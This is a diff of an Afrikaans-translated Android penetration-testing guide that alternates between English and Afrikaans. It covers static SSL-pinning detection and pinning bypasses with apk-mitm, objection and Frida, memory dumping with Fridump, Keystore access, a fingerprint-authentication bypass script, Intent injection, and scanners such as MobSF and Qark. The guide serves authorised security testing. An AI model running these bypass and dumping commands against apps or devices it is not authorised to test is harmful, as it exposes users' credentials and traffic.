+Toepassings wat mik op **API Level 24 and above** vereis wysigings aan die Network Security Config om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van enkripsiesed verkeer. Vir instruksies oor die wysiging van die Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
 
-As **Flutter** gebruik word, moet jy die instruksies op [**this page**](flutter.md) volg. Dit is omdat bloot om die sertifikaat by die store te voeg nie sal werk nie aangesien Flutter sy eie lys van geldige CAs het.
+If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is because, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
 
 #### Static detection of SSL/TLS pinning
 
-Voordat jy runtime-bypasses probeer, maak vinnig 'n kaart van waar pinning in die APK afgedwing word. Statische ontdekking help jou om hooks/patches te beplan en fokus op die regte kodepaaie.
+Voordat jy runtime-bypasses probeer, karteer vinnig waar pinning in die APK afgedwing word. Statiese opsporing help jou om hooks/patches te beplan en op die regte kodebane te fokus.
 
 Tool: SSLPinDetect
-- Open-source static-analysis utility wat die APK na Smali dekompileer (via apktool) en scan vir gekurarde regex-patrone van SSL/TLS pinning-implementasies.
-- Rapporteer presiese lêerpad, reëlnommer, en 'n kode-snippet vir elke trefffer.
-- Dek algemene raamwerke en aangepaste kodepaaie: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, en Network Security Config XML pins.
+- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
+- Rapporteer die presiese file path, lynnommer, en 'n kodefragment vir elke match.
+- Dek algemene frameworks en custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
 
 Install
-- Prereqs: Python >= 3.8, Java on PATH, apktool
+- Vereistes: Python >= 3.8, Java on PATH, apktool
 ```bash
 git clone https://github.com/aancw/SSLPinDetect
 cd SSLPinDetect
@@ -465,7 +462,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
 python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
 ```
 Voorbeeld patroonreëls (JSON)
-Gebruik of brei signatures uit om proprietêre/aangepaste pinning-styles op te spoor. Jy kan jou eie JSON laai en op groot skaal skandeer.
+Gebruik of brei signatures uit om proprietary/custom pinning styles te detecteer. Jy kan jou eie JSON laai en op skaal scan.
 ```json
 {
 "OkHttp Certificate Pinning": [
@@ -480,14 +477,14 @@ Gebruik of brei signatures uit om proprietêre/aangepaste pinning-styles op te s
 }
 ```
 Notes and tips
-- Vinnige skandering op groot apps deur multi-threading en memory-mapped I/O; vooraf-gecompileerde regex verminder overhead/vals positiewe.
-- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
-- Tipiese deteksiedoelwitte om volgende te triage:
-- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
-- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
-- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
-- Declarative pins in res/xml network security config and manifest references
-- Gebruik die ooreenstemmende lokasies om Frida hooks, static patches, of config reviews te beplan voordat dynamic testing.
+- Vinnige skandering van groot apps via multi-threading en memory-mapped I/O; vooraf-gekompileerde regex verminder overhead/vals positiewe.
+- Patroonversameling: https://github.com/aancw/smali-sslpin-patterns
+- Tipiese opsporingsdoelwitte om daarna te triageer:
+- OkHttp: CertificatePinner gebruik, setCertificatePinner, okhttp3/okhttp pakketverwysings
+- Aangepaste TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted oorskrywings
+- Aangepaste SSL-kontekste: SSLContext.getInstance + SSLContext.init met aangepaste managers
+- Deklaratiewe pins in res/xml network security config en manifest verwysings
+- Gebruik die gevonde lokasies om Frida hooks, statiese pleisters, of konfigurasie-oorsigte te beplan voor dinamiese toetsing.
 
 
 
@@ -495,39 +492,39 @@ Notes and tips
 
 Wanneer SSL Pinning geïmplementeer is, word dit nodig om dit te omseil om HTTPS-verkeer te inspekteer. Verskeie metodes is beskikbaar vir hierdie doel:
 
-- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Die grootste voordeel van hierdie opsie is dat jy nie root sal benodig om die SSL Pinning te omseil nie, maar jy sal die toepassing moet verwyder en die nuwe een moet herinstalleer, en dit sal nie altyd werk nie.
-- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
-- Jy kan ook probeer om **automatically bypass SSL Pinning** met behulp van [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
-- Jy kan ook probeer om **automatically bypass SSL Pinning** met behulp van **MobSF dynamic analysis** (explained below)
-- As jy steeds dink daar is verkeer wat jy nie vasvang nie, kan jy probeer om die verkeer na burp te **forward** met behulp van iptables. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
+- Outomaties **wysig** die **apk** om SSLPinning te **omseil** met [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Die grootste voordeel van hierdie opsie is dat jy nie root nodig het om die SSL Pinning te omseil nie, maar jy sal die toepassing moet verwyder en die nuwe een herinstalleer, en dit werk nie altyd nie.
+- Jy kan **Frida** (hieronder bespreek) gebruik om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
+- Jy kan ook probeer om **outomaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
+- Jy kan ook probeer om **outomaties SSL Pinning te omseil** deur **MobSF dynamic analysis** te gebruik (hieronder verduidelik)
+- As jy steeds dink daar is verkeer wat jy nie vasvang nie, kan jy probeer om die verkeer na Burp deur te stuur met iptables. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 
 #### Soek na algemene web kwesbaarhede
 
-Dit is belangrik om ook na algemene web kwesbaarhede binne die toepassing te soek. Gedetailleerde inligting oor die identifisering en versagting van hierdie kwesbaarhede val buite die omvang van hierdie samevatting, maar word elders uitgebreid behandel.
+Dit is belangrik om ook binne die toepassing te soek na algemene web-kwesbaarhede. Gedetaileerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede val buite die bestek van hierdie samevatting, maar word elders uitvoerig behandel.
 
 ### Frida
 
-[Frida](https://www.frida.re) is 'n dinamiese instrumentasie toolkit vir ontwikkelaars, reverse-engineers, en sekuriteitsnavorsers.\
-**You can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\
+[Frida](https://www.frida.re) is 'n dinamiese instrumenteringsgereedskap vir ontwikkelaars, reverse-engineers, en sekuriteitsnavorsers.\
+**Jy kan toegang tot 'n lopende toepassing kry en metodes tydens uitvoering hook om die gedrag te verander, waardes te verander, waardes uit te trek, ander kode uit te voer...**\
 As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
 
 - Leer hoe om Frida te gebruik: [**Frida tutorial**](frida-tutorial/index.html)
-- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
-- Ojection is goed om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
-- Jy kan 'n paar Awesome Frida scripts hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
-- Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
+- Sommige "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
+- Ojection is uitstekend om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
+- Jy kan sommige Awesome Frida-skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+- Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) te laai (hulpmiddel [linjector](https://github.com/erfur/linjector-rs))
 
-#### Anti-instrumentasie & SSL pinning omseil werkvloei
+#### Anti-instrumentation & SSL pinning bypass workflow
 
 {{#ref}}
 android-anti-instrumentation-and-ssl-pinning-bypass.md
 {{#endref}}
 
-### **Geheue dump - Fridump**
+### **Dump Geheue - Fridump**
 
-Kontroleer of die toepassing sensitiewe inligting in die geheue stoor wat dit nie behoort te stoor nie, soos wagwoorde of mnemonics.
+Kyk of die toepassing sensitiewe inligting in die geheue stoor wat dit nie behoort te stoor nie, soos wagwoorde of mnemonics.
 
-Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
+Deur [**Fridump3**](https://github.com/rootbsd/fridump3) te gebruik kan jy die geheue van die app dump met:
 ```bash
 # With PID
 python3 fridump3.py -u <PID>
@@ -536,76 +533,76 @@ python3 fridump3.py -u <PID>
 frida-ps -Uai
 python3 fridump3.py -u "<Name>"
 ```
-Dit sal die geheue in die ./dump-gids aflaai, en daar kan jy met iets soos grep deursoek:
+Dit sal die memory in die ./dump-gids dump, en daar kan jy met iets soos grep soek:
 ```bash
 strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
 ```
 ### **Sensitiewe data in Keystore**
 
-In Android is die Keystore die beste plek om sensitiewe data te stoor, maar met genoeg voorregte is dit steeds **moontlik om daartoe toegang te kry**. Aangesien toepassings hier geneig is om **sensitiewe data in platte teks** te stoor, behoort pentests dit te ondersoek, aangesien 'n root user of iemand met fisiese toegang tot die toestel hierdie data kan steel.
+In Android is die Keystore die beste plek om sensitiewe data te stoor, maar met genoeg bevoegdhede is dit steeds moontlik om daartoe toegang te kry. Aangesien toepassings geneig is om hier sensitiewe data in clear text te stoor, behoort pentests daarna te kyk as root user, aangesien iemand met fisiese toegang tot die toestel hierdie data moontlik kan steel.
 
-Selfs as 'n app data in die keystore gestoor het, behoort die data versleuteld te wees.
+Selfs as 'n app data in die Keystore stoor, behoort die data versleuteld te wees.
 
-Om toegang tot die data binne die keystore te kry, kan jy hierdie Frida script gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
+Om toegang tot die data binne die Keystore te kry, kan jy hierdie Frida script gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
 ```bash
 frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 ```
 ### **Fingerprint/Biometrics Bypass**
 
-Met die volgende Frida script kan dit moontlik wees om die **bypass fingerprint authentication** wat Android-toepassings gebruik om sekere sensitiewe gebiede te beskerm, uit te voer:
+Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om die **bypass fingerprint authentication** uit te voer wat Android-toepassings mag gebruik om sekere **gevoelige gebiede te beskerm**:
 ```bash
 frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
 ```
-### **Agtergrondbeelde**
+### **Achtergrondbeelde**
 
-Wanneer jy 'n toepassing op die agtergrond plaas, stoor Android 'n **snapshot van die toepassing**, sodat wanneer dit na die voorgrond herstel word, dit die beeld begin laai voor die app, sodat dit lyk asof die app vinniger gelaai is.
+Wanneer jy 'n toepassing op die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit na die voorgrond herstel word, dit eers die beeld laai voordat die app begin laai, sodat dit lyk asof die app vinniger gelaai is.
 
-As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root benodig om daartoe toegang te kry).
+As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let wel dat jy root nodig het om daartoe toegang te kry).
 
 Die snapshots word gewoonlik gestoor by: **`/data/system_ce/0/snapshots`**
 
-Android bied 'n manier om die **screenshot capture te voorkom deur die FLAG_SECURE layout-parameter te stel**. Deur hierdie vlag te gebruik, word die vensterinhoud as veilig beskou, wat verhoed dat dit in screenshots verskyn of op nie-beveiligde skerms besigtig word.
+Android bied 'n manier om **die vaslegging van skermskote te voorkom deur die FLAG_SECURE layout-parameter te stel**. Deur hierdie flag te gebruik, word die vensterinhoud as veilig beskou, wat verhoed dat dit in skermskote verskyn of op nie-veilige vertonings bekyk kan word.
 ```bash
 getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
-### **Android Application Analyzer**
+### **Android-toepassingsontleder**
 
-Hierdie instrument kan jou help om verskillende gereedskap tydens dinamiese analise te bestuur: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
+This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 
 ### Intent Injection
 
-Ontwikkelaars skep dikwels proxy-komponente soos activities, services en broadcast receivers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` deurgee, wat riskant kan wees.
+Ontwikkelaars skep gereeld proxy-komponente soos activities, services, en broadcast receivers wat hierdie Intents hanteer en dit deurgee aan metodes soos `startActivity(...)` of `sendBroadcast(...)`, wat riskant kan wees.
 
-Die gevaar lê daarin om aanvallers toe te laat om non-exported app-komponente te aktiveer of toegang tot sensitiewe content providers te kry deur hierdie Intents verkeerd te rig. ’n Noemenswaardige voorbeeld is die `WebView`-komponent wat URL's na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent-inspuitings.
+Die gevaar lê daarin om aanvallers toe te laat nie-eksporteerde app-komponente of sensitiewe content providers te aktiveer/benader deur hierdie Intents verkeerd te lei. 'n Bekende voorbeeld is die `WebView`-komponent wat URLs na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik tot kwaadwillige Intent injections kan lei.
 
-### Essensiële punte
+### Belangrike punte
 
 - **Intent Injection** is soortgelyk aan die web se Open Redirect-kwessie.
-- Exploits behels die deurgee van `Intent`-objekte as extras, wat omgerig kan word om onveilige operasies uit te voer.
-- Dit kan non-exported komponente en content providers voor aanvallers openbaar maak.
-- `WebView` se URL-na-`Intent` omskakeling kan onverwagte aksies vergemaklik.
+- Eksploite behels die deurgee van `Intent`-objekte as extras, wat omgerig kan word om onveilige operasies uit te voer.
+- Dit kan nie-eksporteerde komponente en content providers aan aanvallers blootstel.
+- `WebView` se URL-naar-`Intent` omskakeling kan onbeoogde aksies vergemaklik.
 
-### Android Client Side Injections and others
+### Android Client-Side Injections and others
 
-Jy ken waarskynlik hierdie soort kwesbaarhede vanaf die web. Jy moet besondere sorg toepas met hierdie kwesbaarhede in ’n Android-toepassing:
+Jy ken waarskynlik hierdie tipe kwesbaarhede van die Web af. Jy moet besonder versigtig wees met hierdie kwesbaarhede in 'n Android-toepassing:
 
-- **SQL Injection:** Wanneer jy met dinamiese navrae of Content-Providers werk, maak seker dat jy geparameteriseerde navrae gebruik.
+- **SQL Injection:** Wanneer jy dinamiese navrae of Content-Providers hanteer, sorg dat jy geparametriseerde navrae gebruik.
 - **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
 - **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
-- **Eternal cookies**: In verskeie gevalle, wanneer die Android-toepassing die sessie beëindig, word die cookie nie ingetrek nie of dit kan selfs na skyf gestoor word
+- **Eternal cookies**: In verskeie gevalle, wanneer die android toepassing die sessie beëindig, word die cookie nie herroep nie of dit kan selfs na skyf gestoor word
 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
 ---
 
-## Automatic Analysis
+## Outomatiese Analise
 
 ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
 
-**Statiese ontleding**
+**Statiese analise**
 
 ![](<../../images/image (866).png>)
 
-**Kwetsbaarheidsevaluering van die toepassing** wat ’n netjiese webgebaseerde frontend gebruik. Jy kan ook dinamiese analise doen (maar jy moet die omgewing voorberei).
+**Kwesbaarheidsevaluering van die toepassing** met 'n netjiese web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei).
 ```bash
 docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@@ -615,41 +612,41 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
 
 MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
 
-### Geassisteerde dinamiese analise met MobSF
+### Assisted Dynamic analysis with MobSF
 
-**MobSF** kan ook baie nuttig wees vir **dinamiese analise** op **Android**, maar in daardie geval moet jy MobSF en **genymotion** op jou gasheer installeer (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
-Die **MobSF dynamic analyser** kan:
+**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
+The **MobSF dynamic analyser** can:
 
-- **Dump application data** (URLs, logs, clipboard, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite databases, XML-lêers, en ander geskepte lêers). Dit gebeur alles outomaties behalwe vir die skermskote — jy moet die knoppie druk wanneer jy 'n skermskoot wil hê of jy moet "**Exported Activity Tester**" druk om skermskote van alle geëksporteerde aktiwiteite te verkry.
-- Vang **HTTPS** verkeer
-- Gebruik **Frida** om **runtime** **information** te verkry
+- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
+- Capture **HTTPS traffic**
+- Use **Frida** to obtain **runtime** **information**
 
 From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
 
 **Frida**
 
 By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
-MobSF kan ook **invoke exported activities**, neem **screenshots** daarvan en **save** dit vir die verslag.
+MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
 
 To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
-MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
+MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
 
 Moreover, you have some Auxiliary Frida functionalities:
 
-- **Enumerate Loaded Classes**: Dit sal al die gelaaide klasse uitdruk
-- **Capture Strings**: Dit sal al die capture strings uitdruk terwyl die toepassing gebruik word (baie lawaaierig)
+- **Enumerate Loaded Classes**: Dit sal al die loaded classes uitdruk
+- **Capture Strings**: Dit sal alle capture strings druk terwyl jy die toepassing gebruik (baie noisy)
 - **Capture String Comparisons**: Kan baie nuttig wees. Dit sal **show the 2 strings being compared** en of die resultaat True of False was.
-- **Enumerate Class Methods**: Sit die klasnaam (soos "java.io.File") in en dit sal al die metodes van die klas druk.
-- **Search Class Pattern**: Soek klasse per patroon
-- **Trace Class Methods**: **Trace** 'n **whole class** (sien insette en uitsette van alle metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android Api-metodes trace.
+- **Enumerate Class Methods**: Sit die klasnaam (bv. "java.io.File") en dit sal al die methods van die klas druk.
+- **Search Class Pattern**: Search classes by pattern
+- **Trace Class Methods**: **Trace** 'n **whole class** (sien insette en uitsette van alle methods van die klas). Onthou dat standaard MobSF verskeie interessante Android Api methods trace.
 
 Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
 
 **Shell**
 
-MobSF bied ook 'n shell aan met sommige **adb** commands, **MobSF commands**, en algemene **shell** **commands** onderaan die dinamiese analise bladsy. Sommige interessante opdragte:
+Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
 ```bash
 help
 shell ls
@@ -658,34 +655,34 @@ exported_activities
 services
 receivers
 ```
-**HTTP gereedskap**
+**HTTP-gereedskap**
 
-Wanneer http-verkeer vasgelê word, kan jy 'n lelike weergawe van die vasgelêde verkeer sien op "**HTTP(S) Traffic**" knop of 'n netter weergawe via die groen knop "**Start HTTPTools**". Vanaf die tweede opsie kan jy die **captured requests** na **proxies** soos Burp of Owasp ZAP stuur.  
-Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die request_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
+Wanneer HTTP-verkeer vasgelê word kan jy ’n lelike weergawe van die vasgelêde verkeer onder "**HTTP(S) Traffic**" knoppie sien of ’n netter weergawe onder die groen knoppie "**Start HTTPTools**". Vanaf die tweede opsie kan jy die **captured requests** na **proxies** soos Burp of Owasp ZAP stuur.\
+Om dit te doen, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> druk "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
-Sodra jy die dynamic analysis met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" klik om **fuzz http requests** en na vulnerabilities te soek.
+Sodra jy die dinamiese ontleding met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **fuzz http requests** en na kwesbaarhede te soek.
 
 > [!TIP]
-> Na die uitvoering van 'n dynamic analysis met MobSF kan die proxy-instellings verkeerd gekonfigureer raak en sal jy dit nie vanuit die GUI kan regstel nie. Jy kan die proxy-instellings regstel deur:
+> Na ’n dinamiese ontleding met MobSF kan die proxy-instellings verkeerd gekonfigureer raak en sal jy dit nie via die GUI kan regmaak nie. Jy kan die proxy-instellings regmaak deur:
 >
 > ```
 > adb shell settings put global http_proxy :0
 > ```
 
-### Assisted Dynamic Analysis with Inspeckage
+### Begeleide dinamiese ontleding met Inspeckage
 
-Jy kan die tool kry by [**Inspeckage**](https://github.com/ac-pm/Inspeckage).  
-Hierdie tool gebruik sommige **Hooks** om jou te wys **wat in die toepassing gebeur** terwyl jy 'n **dynamic analysis** uitvoer.
+Jy kan die hulpmiddel kry vanaf [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
+Hierdie hulpmiddel gebruik sekere **Hooks** om jou te laat weet **wat in die toepassing gebeur** terwyl jy ’n **dinamiese ontleding** uitvoer.
 
 ### [Yaazhini](https://www.vegabird.com/yaazhini/)
 
-Dit is 'n **geweldige hulpmiddel om static analysis met 'n GUI uit te voer**
+Dit is ’n **geweldige hulpmiddel om statiese ontleding met ’n GUI uit te voer**
 
 ![](<../../images/image (741).png>)
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Hierdie tool is ontwerp om verskeie **security related Android application vulnerabilities** op te spoor, hetsy in **source code** of **packaged APKs**. Die tool is ook **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, om sommige van die gevonde vulnerabilities te exploit (Exposed activities, intents, tapjacking...). Soos met Drozer, is daar geen behoefte om die toets-toestel te root nie.
+Hierdie hulpmiddel is ontwerp om na verskeie **security related Android application vulnerabilities** te soek, hetsy in **source code** of **packaged APKs**. Die instrument is ook **in staat om 'n "Proof-of-Concept" deployable APK te skep** en **ADB commands**, om sommige van die gevonde kwesbaarhede te eksploiteer (Exposed activities, intents, tapjacking...). Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -695,21 +692,21 @@ qark --java path/to/specific/java/file.java
 ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
 
 - Wys alle uitgehaalde lêers vir maklike verwysing
-- Decompileer APK-lêers outomaties na Java- en Smali-formaat
+- Dekompileer APK-lêers outomaties na Java- en Smali-formaat
 - Ontleed AndroidManifest.xml vir algemene kwesbaarhede en gedrag
-- Statiese bronkode-analise vir algemene kwesbaarhede en gedrag
+- Statiese bronkode-ontleding vir algemene kwesbaarhede en gedrag
 - Toestelinligting
-- en meer
+- En meer
 ```bash
 reverse-apk relative/path/to/APP.apk
 ```
 ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
 
-SUPER is 'n command-line-toepassing wat op Windows, MacOS X en Linux gebruik kan word, en wat _.apk_-lêers ontleed op soek na kwesbaarhede. Dit doen dit deur APKs te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede op te spoor.
+SUPER is 'n command-line toepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers ontleed op soek na kwesbaarhede. Dit doen dit deur APKs te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede op te spoor.
 
-Alle reëls is in 'n `rules.json`-lêer gesentreer, en elke maatskappy of toetser kan hul eie reëls skep om te ontleed wat hulle benodig.
+Alle reëls is gekonsentreer in 'n `rules.json` lêer, en elke maatskappy of tester kan hul eie reëls skep om te analiseer wat hulle nodig het.
 
-Laai die nuutste binaries af vanaf die [download page](https://superanalyzer.rocks/download.html)
+Laai die nuutste binaries af by die [download page](https://superanalyzer.rocks/download.html)
 ```
 super-analyzer {apk_file}
 ```
@@ -717,17 +714,17 @@ super-analyzer {apk_file}
 
 ![](<../../images/image (297).png>)
 
-StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty hunters en ethical hackers help om [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
+StaCoAn is 'n **kruisplatform** gereedskap wat ontwikkelaars, bugbounty hunters en etiese hackers help om [statiese kode-analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
 
-Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa-lêer) op die StaCoAn-toepassing sleep en los, en dit sal vir jou 'n visuele en draagbare verslag genereer. Jy kan die instellings en wordlists aanpas om 'n aangepaste ervaring te kry.
+Die idee is dat jy jou mobiele toepassing-lêer ('.apk' of '.ipa' lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n pasgemaakte ervaring te kry.
 
-Laai af[ latest release](https://github.com/vincentcox/StaCoAn/releases):
+Laai die [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases) af:
 ```
 ./stacoan
 ```
 ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
-AndroBugs Framework is 'n Android kwesbaarheids-analise stelsel wat ontwikkelaars of hackers help om potensiële sekuriteitskwesbaarhede in Android-toepassings op te spoor.\
+AndroBugs Framework is 'n stelsel vir Android-kwesbaarheidsanalise wat ontwikkelaars of hackers help om potensiële sekuriteitskwesbaarhede in Android-toepassings te vind.\
 [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 ```
 python androbugs.py -f [APK file]
@@ -735,11 +732,11 @@ androbugs.exe -f [APK file]
 ```
 ### [Androwarn](https://github.com/maaaaz/androwarn)
 
